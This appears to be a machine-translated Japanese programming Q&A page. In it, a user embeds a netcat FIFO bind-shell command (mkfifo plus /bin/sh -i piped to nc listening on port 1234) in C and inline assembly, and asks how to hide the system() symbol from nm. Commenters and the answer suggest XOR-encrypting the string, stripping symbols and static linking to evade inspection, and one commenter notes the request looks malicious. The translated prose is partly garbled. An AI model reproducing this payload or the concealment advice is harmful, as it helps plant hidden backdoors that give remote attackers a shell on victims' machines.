2017-01-19 38 views
-2

I次のasmコードがあります。呼び出しC関数NMコマンドでそれらを示すことなく、

int main(void) 
{ 
    __asm__(" subq $16, %rsp\n" 
      "leaq L_.str(%rip), %rdi\n" 
      "movb $0, %al\n" 
      "callq _system\n" 
      "xorl %ecx, %ecx\n" 
      "movl %eax, -4(%rbp)\n" 
      "movl %ecx, %eax\n" 
      "addq $16, %rsp\n" 
      "popq %rbp\n" 
      ".section __TEXT,__cstring,cstring_literals\n" 
      "L_.str:\n" 
      ".asciz \"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lk 1234 > /tmp/f\"\n" 
      "retq\n"); 
} 

をそして、それはに等しいです:私はC言語を使用してそれをやって、そしてときだ

system("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lk 1234 > /tmp/f"); 

私は両方をコンパイルし、実行可能ファイルに対してNMを実行すると、_system関数をシンボルで見ることができます。

私の質問は:あなたはどのようにNMコマンドでこのシンボルを隠すことができますか?

+1

(直接)できません。 'system'呼び出しには正確な文字列が必要です。あなたは、暗号化された文字列を受け取り、それを解読してから 'system'を呼び出す何らかの翻訳を書くことができます。あなたがその程度に行きたいなら。 – kaylum

+0

単純に 'xor 0xAA'であっても、単に文字列を何らかの形でエンコードするよりもバイナリでの直接の可視性だけが問題であれば、人間にとってはそれを読むことができません。もちろん 'strace'を表示します。なぜなら' system 'に送る前に解読する必要があるからです。私はライン自体をエンコードすることも可能だと思うので、システムはデコードの最後の部分を行い、シェルスクリプトを使って "/ tmp"のようなものを隠します。とにかく、それが悪意のあるものでなければ、これを隠す理由はないので、あなたは良いことに取り組むことができるあなたの時間を無駄にしないでください。人生は短く、現代のITを破壊するのは簡単です。 – Ped7g

+0

それは教育目的のためだけです、あなたはその例を持っていますか? –

答えて

0

1つのオプションは、リンク後のバイナリです。stripです。これにより、シンボルテーブルとすべてのシンボルが削除されます。これは、連結段階で-sを渡すか、結果のバイナリにstripを呼び出すことによって実現できます。

libcが共有ライブラリとしてロードされる可能性が高いので、_systemという文字列がlibc anyqayで検索するためにバイナリに表示されます。これを取り除くには、libcと静的にリンクする必要があります(gccはその目的で-staticを受け入れます)。しかし、それでも、システムコール(例えば、trussのようなユーティリティを使って)をトレースすることで、プログラムが何をしているのかを推測するのは簡単です。

関連する問題